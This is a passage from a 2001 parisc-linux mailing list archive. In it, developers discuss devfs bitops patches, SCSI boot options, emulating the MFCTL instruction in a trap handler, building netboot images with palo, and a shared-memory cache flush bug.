to explicitly mount at boot, you won't _really_ be using 
devfs :)

Sure, it compiles... and it looks like it should work.
But theory and practice are so different it's not funny.

<Carlos looks back at the RF Amplifier design he has on the
whiteboard and chuckles>

c.

> 
> > parisc,
> > 
> > Walking the source for devfs and thinking about Alberts problem.
> > 
> > Would the non-working devfs be fixed by adding:
> > 
> > Non-atomic versions of set_bit e.g. __set_bit 
> > and test_and_set_bit e.g. __test_and_set_bit
> > to linux/include/asm-parisc/bitops.h?
> > 
> > I have the latest CVS linux module.
> > I've patched against that. It compiles now ;)
> > (god bless make -j8)
> > 
> > I'm currently sleepy, but I'll post the patch, and test
> > it tommorow on a 712/60 and 715/50.
> > 
> > c.
> 
> <patch snipped>






From - Thu Nov 08 21:19:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Sat, 29 Sep 2001 13:48:57 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20010929134857.B15266@megatonmonkey.net>
References: <20010928182422.A22740@dogbert.localdomain> <Pine.NEB.4.33.0109282045120.601-100000@www2.scram.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620541 26723 80.91.229.3 (22 Nov 2014 01:42:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 29 11:48:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 558FA4B0F
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Sep 2001 11:48:58 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f8TIILG04697
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Sep 2001 14:18:21 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f8THmvT15621
	for parisc-linux@lists.parisc-linux.org; Sat, 29 Sep 2001 13:48:57 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.NEB.4.33.0109282045120.601-100000@www2.scram.de>; from jochen@scram.de on Fri, Sep 28, 2001 at 08:48:18PM +0200
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:12377

> 
> On my installation i "fixed" this by switching off SCSI disconnects for my
> disks. IIRC, this was by adding sim700=nodisc:0x70 to the kernel command
> line.
> 
> I'm currently about 150 km away from my HP9000/720 during the weekend.
> I'll test the proposed patch on Monday.
>

I usually use sim700=noneg:0xff,nodisc:0xff.
Turn it all off ;)

c. 




From - Thu Nov 08 21:19:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Sat, 29 Sep 2001 13:36:16 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <01092913361601.00620@localhost.localdomain>
References: <200109271442.KAA14125@mail.lokmail.net> <20010928095420.A16748@parcelfarce.linux.theplanet.co.uk> <20010929080006.A25136@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620541 26725 80.91.229.3 (22 Nov 2014 01:42:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:21 +0000 (UTC)
Cc: Albert Strasheim <fullung@ilink.nis.za>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 29 12:37:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from vopserver.pflashcom (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0567948CA
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Sep 2001 12:37:25 -0600 (MDT)
Original-Received: from localhost.localdomain (ppp70.cc1.pflash.com [63.121.24.72]) by vopserver.pflashcom
 (Vircom SMTPRS 4.7.191) with SMTP id <B0007066700@vopserver.pflashcom>;
 Sat, 29 Sep 2001 13:41:32 -0500
X-Mailer: KMail [version 1.2]
In-Reply-To: <20010929080006.A25136@dogbert.localdomain>
Xref: news.gmane.org gmane.linux.ports.parisc:12378

On Saturday 29 September 2001 01:00 am, Albert Strasheim wrote:
> regs->iaoq[0] = regs->iaoq[1];
> regs->iaoq[1] = regs->iaoq[0] + 4;
>
> Is this right, or should I leave Jurij's code?
>
Hello Albert,

An observation:
regs->iaoq[1] is the "following instruction" - where "following" means "in 
execution order".  So replacing the emulated instruction with this seems the 
obvious thing to do.

BUT...
Without examining the instruction (which was at iaoq[1] and is now at 
iaog[0]) I don't think it is safe to assume that the instruction following 
that one in execution order is at iaoq[1]+4 !!  (Branches, nullified 
instructions, conditional instructions, etc).

Perhaps...
Instead of trying to compute (determine) what is the next instruction in 
execution order following iaoq[1] ; iaoq[1] could be set to a value that 
would cause the hardware pipeline to fetch the correct following instruction.

Or perhaps...
A way could be found to use whatever "single step" controls are available to 
get the return made to iaoq[1] instead of iaoq[0] and leave the queues along.

Also...
What about the space register queue?  Might these instructions be in a 
different address space?

Mike




From - Thu Nov 08 21:19:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-atomic __set_bit
Date: Sat, 29 Sep 2001 23:43:36 +0200
Lines: 94
Approved: news@gmane.org
Message-ID: <20010929234336.A26195@dogbert.localdomain>
References: <20010924021054.I3025@megatonmonkey.net> <20010929020915.A24794@dogbert.localdomain> <20010929132719.A15266@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="7AUc2qLy4jB3hD7Z"
X-Trace: ger.gmane.org 1416620541 26728 80.91.229.3 (22 Nov 2014 01:42:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 29 15:44:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id ABCC34879
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Sep 2001 15:44:36 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15nRuR-0008Mf-00
	for parisc-linux@lists.parisc-linux.org; Sat, 29 Sep 2001 23:44:31 +0200
Original-Received: (qmail 18607 invoked from network); 29 Sep 2001 21:44:31 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 29 Sep 2001 21:44:31 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15nRtY-0006oZ-00; Sat, 29 Sep 2001 23:43:36 +0200
Content-Disposition: inline
In-Reply-To: <20010929132719.A15266@megatonmonkey.net>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15nRuR-0008Mf-00*5MpB7as/RuE* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12379

--7AUc2qLy4jB3hD7Z
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

There's a CONFIG_DEVFS_MOUNT option that mounts it at boot. I know I
used fdisk on /dev/scsi/somedamnthing/part3/block10/orifice99 or
somesuch :-)

If init is croaking, you need devfsd perhaps?

But here it works fine.

Regards,

Albert

On Sat, 29 Sep 2001, Carlos O'Donell Jr. wrote:

> > Hello,
> >=20
> > Is this going into CVS any time soon? It seems to work fine on my
> > 720/50.
> >=20
> > Regards,
> >=20
> > Albert
> >=20
>=20
> Albert,
>=20
> Have you booted a devfs kernel on you box?
> Does it seem to function properly?
>=20
> Adding devfs to my kernel causes some odd stuff to go on after
> trying to enter INIT. Though I haven't had time to sort it out.
> The kernel boots fine, but probably one of the startup scripts
> is doing something decidedly wrong.
>=20
> Since you are using init=3D/bin/sh, and unless you tell devfs
> to explicitly mount at boot, you won't _really_ be using=20
> devfs :)
>=20
> Sure, it compiles... and it looks like it should work.
> But theory and practice are so different it's not funny.
>=20
> <Carlos looks back at the RF Amplifier design he has on the
> whiteboard and chuckles>
>=20
> c.
>=20
> >=20
> > > parisc,
> > >=20
> > > Walking the source for devfs and thinking about Alberts problem.
> > >=20
> > > Would the non-working devfs be fixed by adding:
> > >=20
> > > Non-atomic versions of set_bit e.g. __set_bit=20
> > > and test_and_set_bit e.g. __test_and_set_bit
> > > to linux/include/asm-parisc/bitops.h?
> > >=20
> > > I have the latest CVS linux module.
> > > I've patched against that. It compiles now ;)
> > > (god bless make -j8)
> > >=20
> > > I'm currently sleepy, but I'll post the patch, and test
> > > it tommorow on a 712/60 and 715/50.
> > >=20
> > > c.
> >=20
> > <patch snipped>
>=20
>=20

--7AUc2qLy4jB3hD7Z
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7tkCIDg+hOeRZtkMRAmhdAJwKFtaQwICypTHjLWwSataaN7/KJACfb1W4
U4RACxd7UeK/nWduZ/Np0GE=
=DSEe
-----END PGP SIGNATURE-----

--7AUc2qLy4jB3hD7Z--




From - Thu Nov 08 21:19:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: [parisc-linux] HP C180
Date: Sun, 30 Sep 2001 00:00:09 +0200
Lines: 94
Approved: news@gmane.org
Message-ID: <20010930000009.B26195@dogbert.localdomain>
References: <20010929183349.B25897@dogbert.localdomain> <Pine.LNX.4.21.0109291237460.11237-100000@ns>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="xgyAXRrhYN0wYx8y"
X-Trace: ger.gmane.org 1416620542 26731 80.91.229.3 (22 Nov 2014 01:42:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: nick@snowman.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 29 16:01:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33C384879
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Sep 2001 16:01:02 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15nSAN-00029h-00
	for parisc-linux@lists.parisc-linux.org; Sun, 30 Sep 2001 00:00:59 +0200
Original-Received: (qmail 18688 invoked from network); 29 Sep 2001 22:00:58 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 29 Sep 2001 22:00:58 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15nS9Z-0006ou-00; Sun, 30 Sep 2001 00:00:09 +0200
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.21.0109291237460.11237-100000@ns>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15nSAN-00029h-00*A3U4pbKEaac* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12380

--xgyAXRrhYN0wYx8y
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

I generally use http://http.us.debian.org/ or http://ftp.sunet.se/pub/
(great mirror site). Your local mirror probably only mirrors i386. I
can't imagine why "normal" sites would want to keep around 4 GB (?) of
HPPA packages. :-)

I also built a new nfsroot for myself by using debootstrap, and slightly
modifying the "woody" script. My system isn't quite up and running yet
(still struggling with Jurij's patch), but you could do the same if your
HP is misbehaving.

Regards,

Albert

On Sat, 29 Sep 2001, nick@snowman.net wrote:

> I have been rolling my own kernels, however I've been useing nfsroot with
> one of the prebuilt tarballs.  Where can I find the latest debian hppa
> bootdisks?  ftp.debian.org?  (I havn't noticed them in my debian mirror).
> 	Nick
>=20
> On Sat, 29 Sep 2001, Albert Strasheim wrote:
>=20
> > Hello,
> >=20
> > Make your own:
> >=20
> >  palo -f /dev/null -k vmlinux -r root.bin -s lifimage [-b iplboot] \
> >         -c "0/linux HOME=3D/ root=3D/dev/ram initrd=3D0/ramdisk"
> >=20
> > where vmlinux is the a kernel you've compiled from CVS (possibly using
> > the cross-compiler) and root.bin is the latest Debian hppa bootdisk.
> > Netboot the resulting lifimage and off you go! :-)
> >=20
> > Regards,
> >=20
> > Albert
> >=20
> > On Sat, 29 Sep 2001, nick@snowman.net wrote:
> >=20
> > > Ok, can you point me to a totally current root image?
> > > 	Nick
> > >=20
> > > On Sat, 29 Sep 2001, Richard Hirst wrote:
> > >=20
> > > > On Wed, Sep 26, 2001 at 08:56:08AM +0200, Jurriaan Kalkman wrote:
> > > > > >My c180 is now happily booting (current CVS kernel), however whe=
never I
> > > > > >try to ls some dirs (no all, this example is from /usr/bin) I ge=
t errors
> > > > > >along these lines
> > > > > >ls: memory exhausted
> > > >=20
> > > > I had this with 2.4.9, turned out I'd booted a root fs with old lib=
c6
> > > > installed.  When I rebooted using a current libc6 the problem went =
away.
> > > >=20
> > > > Richard
> > > >=20
> > >=20
> > >=20
> > >=20
> > > _______________________________________________
> > > parisc-linux mailing list
> > > parisc-linux@lists.parisc-linux.org
> > > http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> >=20
>=20

--xgyAXRrhYN0wYx8y
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7tkRoDg+hOeRZtkMRAopnAJ94gvEiFnMfxtHVBeBA3CjvokuA0wCgjM/e
Lfd4ARkoORQ+EZOWldkF8bk=
=2w7X
-----END PGP SIGNATURE-----

--xgyAXRrhYN0wYx8y--




From - Thu Nov 08 21:19:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Sat, 29 Sep 2001 17:19:04 -0500
Lines: 115
Approved: news@gmane.org
Message-ID: <01092917190400.02926@localhost.localdomain>
References: <200109271442.KAA14125@mail.lokmail.net> <20010929080006.A25136@dogbert.localdomain> <01092913361601.00620@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620542 26732 80.91.229.3 (22 Nov 2014 01:42:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:22 +0000 (UTC)
Cc: Albert Strasheim <fullung@ilink.nis.za>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 29 16:20:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from vopserver.pflashcom (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 613B348DB
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Sep 2001 16:20:01 -0600 (MDT)
Original-Received: from localhost.localdomain (ppp75.cc1.pflash.com [63.121.24.77]) by vopserver.pflashcom
 (Vircom SMTPRS 4.7.191) with SMTP id <B0007069972@vopserver.pflashcom>;
 Sat, 29 Sep 2001 17:24:21 -0500
X-Mailer: KMail [version 1.2]
In-Reply-To: <01092913361601.00620@localhost.localdomain>
Xref: news.gmane.org gmane.linux.ports.parisc:12381

Albert and other 720 folks;

I have been reading the directions (please forgive me for that)...

It looks (reads) as if it possible to return to the faulting instruction
(MFCTL in this case) without executing it.  If so, then adjusting the
instruction (and space) queues within the fault handler can be avoided;
also avoiding problems with finding the correct "following instruction"
address.

In general: 
When executing a group 3 fault (MFCTL), the PSW register is
copied into the IPSW register.  The "N" bit of the PSW (now in the IPSW)
is a copy of the "nullify bit" of the instruction PRECEDING the
instruction at iaoq[0].  The nullify bit of the instruction preceding the
MFCTL instruction was "zero" (or we wouldn't be here).
So rather than trying to adjust the addresses in the instruction/space
queues, it should be possible to just set the "N" bit of the IPSW (or its
representation in the interrupted registers structure).  Then, when the
finally makes it back to a "Return from Interrupt" instruction, our faked
"N" bit will be loaded into the PSW and the processor will skip the MFCTL
instruction which gets returned to.

Having zero experience with this processor and no way to test my idea; I
have done some "cut and paste" from the documentation - perhaps somebody
could check me on this idea.

Mike

PA-RISC 1.1 Architecture and Instruction Set Reference Manual
HP Part Number: 09740-90039
Printed in U.S.A. February 1994
Third Edition

- - - -

Trap:
  Traps include two sorts of possibilities: either the function requested by 
the current instruction cannot or should not be carried out, or system 
intervention is desired by the user before or after the instruction is 
executed. Examples of the first type include arithmetic operations that 
result in signed overflow and instructions executed with insufficient 
privilege for their intended function. Such instructions are normally not
re-executed. Examples of the second type include the debugging support traps. 
Traps are synchronous with respect to the instruction stream.

- - - -

Group 3:    
6 Instruction TLB miss fault/Instruction page fault
7 Instruction memory protection trap
30 Instruction debug trap
8 Illegal instruction trap
9 Break instruction trap
10 Privileged operation trap
11 Privileged register trap
12 Overflow trap
13 Conditional trap
14 Assist exception trap
15 Data TLB miss fault/Data page fault
16 Non-access instruction TLB miss fault
17 Non-access data TLB miss fault/Non-access data page fault
26 Data memory access rights trap
27 Data memory protection ID trap
28 Unaligned data reference trap

- - - -

Name	Privileged register trap (11)

Cause	An attempt is being made to write to a privileged space register or 	
access a privileged control register without being at the most privileged 
level (priv= 0)

Parameters    	IIR  The instruction causing the trap
IIA Queue    	Front  Address of the instruction causing the trap
		Back  Address of the following instruction

Notes    This interruption may be caused by the MOVE TO SPACE REGISTER, 
MOVE TO CONTROL REGISTER, or MOVE FROM CONTROL REGISTER 
instructions.

- - - -

Processor state is encoded in a 32-bit register called the Processor Status 
Word (PSW). When an interruption occurs, the old value of the PSW is saved in 
the Interruption Processor Status Word (IPSW) and usually all defined PSW 
bits are set to 0. The format of the PSW is shown in Figure 2-9.
 (copy is unreadable as e-mail ... "N" is bit 10dec.)
Figure 2-9. Processor Status Word

The PSW is set to the contents of the IPSW by the RETURN FROM INTERRUPTION 
and RETURN FROM INTERRUPTION AND RESTORE instructions. The interruption 
handler may restore the original PSW, modify selected bits, or may change the 
PSW to an entirely new value.

- - - -

N    Nullify. 
The current instruction is nullified when this bit is 1. This bit is set to 1 
by an instruction that nullifies the following instruction.

- - - -
I am ignoring the other 423 pages of the manual - which might be a mistake.
_ _ _ _

All in all, the way I read it - we can emulate the effect of an instruction 
prior to the MFCTL instruction that has its "nullify" bit set by setting the 
"N" bit in the IPSW.  With the effect that when the RFI is completed, the 
hardware will just skip the MFCTL which was just emulated.

Mike




From - Thu Nov 08 21:19:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] shm cache flush bug?
Date: Sun, 30 Sep 2001 00:38:08 -0600 (MDT)
Lines: 50
Approved: news@gmane.org
Message-ID: <200109300638.AAA13665@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620542 26734 80.91.229.3 (22 Nov 2014 01:42:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:22 +0000 (UTC)
Cc: tsbogend@alpha.franken.de
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 30 00:38:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 94E8A48F3
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Sep 2001 00:38:09 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel6.hp.com (Postfix) with ESMTP
	id DC79E1F55C; Sun, 30 Sep 2001 02:38:08 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id AAA13665;
	Sun, 30 Sep 2001 00:38:08 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:12382

Thomas,

> PS: If someone wants a testcase, which shows the shm cache flush bug,
> either use mm_test from libmm or mail me, I've written a small one.

I would be interested in this test case. I had to back out your fix.
It is definitely not the right way of fixing whatever problem you are
encountering. Your fix killed performance, particularly on large
cache machines, essentially returning us to a "flush everything at
all times" mode of operation.

Here are the reasons that your fix is incorrect:

1) There is an "old" way of handling cache flushing, and a "new" way.
flush_page_to_ram() is part of the "old" way, and is deprecated (see
Documentation/cachetlb.txt).  We've implemented the "new" way for the
parisc port, so any fix should be consistant with that design.

2) You made flush_page_to_ram() call flush_data_cache(), which flushes the
entire cache, rather than flushing the specified page. flush_page_to_ram()
is called in a variety of places, and your change caused the entire cache
to be flushed every time, so this kills performance.

I will note that the new method of flushing was primarily tested on the
sparc architecture, and since they have either a write-through cache, or a
very small write-back cache, they missed some things, some of which I have
already found and fixed on the parisc port.

The workaround fix for your problem will probably involve flushing a
specific page.  Since the problem you are seeing is related to System V
shared memory, the missing flush is probably missing from mm/shmem.c.
Possibly a call to flush_dcache_page() in shmem_nopage() in the two
locations where flush_page_to_ram() is called might fix the problem,
although I don't see a problem with that code.  Adding a flush there might
at least workaround the problem until the bug can be tracked to a real
root cause.  Let me know if you try that and whether or not it does fix
the problem.

The correct fix may be the same as the workaround, but could be due to
some other problem.  Your report seems to indicate a problem upon first
allocation of a shared memory page, but if it is instead a problem when
the second program attaches the shared memory, the problem could be due to
a bug in the address allocation code, perhaps creating a bad user alias
between processes.

John Marvin
jsm@fc.hp.com




From - Thu Nov 08 21:19:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux tsbogend
Date: Sun, 30 Sep 2001 08:01:43 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20010930080143.A9242@parcelfarce.linux.theplanet.co.uk>
References: <200109291642.KAA12575@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620543 26736 80.91.229.3 (22 Nov 2014 01:42:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:23 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 30 01:01:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A36C948FA; Sun, 30 Sep 2001 01:01:44 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15nabf-0002Rj-00; Sun, 30 Sep 2001 08:01:43 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200109291642.KAA12575@puffin.external.hp.com>; from tsbogend@puffin.external.hp.com on Sat, Sep 29, 2001 at 10:42:33AM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12383

On Sat, Sep 29, 2001 at 10:42:33AM -0600, Thomas Bogendoerfer wrote:
> Log message:
> we need to flush pages used inside the kernel and passed to user processes
> otherwise because of the virtual alias we get mixed writebacks.
> FIMXE: flush_data_cache() isn't a very well optimized function for this
> purpose

flush_dcache_page() is perhaps the function you are looking for?  I'm
not sure I understand what the problem is since you didn't post a diff.
I'll investigate more when I get back tomrrow.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720 - some progress
Date: Sun, 30 Sep 2001 01:12:45 -0600 (MDT)
Lines: 40
Approved: news@gmane.org
Message-ID: <200109300712.BAA15478@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620543 26737 80.91.229.3 (22 Nov 2014 01:42:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 30 01:12:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 92CB248EE
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Sep 2001 01:12:46 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel6.hp.com (Postfix) with ESMTP id 0C5441F78F
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Sep 2001 03:12:46 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id BAA15478
	for parisc-linux@lists.parisc-linux.org; Sun, 30 Sep 2001 01:12:45 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:12384

> It looks (reads) as if it possible to return to the faulting instruction
> (MFCTL in this case) without executing it.  If so, then adjusting the
> instruction (and space) queues within the fault handler can be avoided;
> also avoiding problems with finding the correct "following instruction"
> address.

Using the nullify method you talk about does work, but the normal
convention is to advance the pc queue (there are some performance
advantages, particularly in the case where the instruction we are
emulating is in the delay slot of a branch).  The problem you describe
finding the following instruction doesn't exist.  You are correct about
the space queue though, but only in the case for a delay slot in the
branch to the gateway page.  The correct method of advancing the queue is
the one that has been proposed in the various patches, i.e.:

	regs->iaoq[0] = regs->iaoq[1];
	regs->iaoq[1] += 4;

To be perfectly correct, this should be added:

	regs->iasq[0] = regs->iasq[1];

But, again, that last is only necessary if someone actually puts a mfctl
in the delay slot of the branch to the gateway page (a kernel call) and
since kernel calls are already provided, we know that no such thing
actually happens, nor is it likely to happen unless someone handcodes
their own kernel call. I would put the line in though.

Here is why there is not a problem advancing the queue as above:
the only way that "regs->iaoq[1] += 4" would do the wrong thing would
be if we were emulating a branch instruction. Since we know we are
emulating a mfctl instruction, this is not the case. Note that if
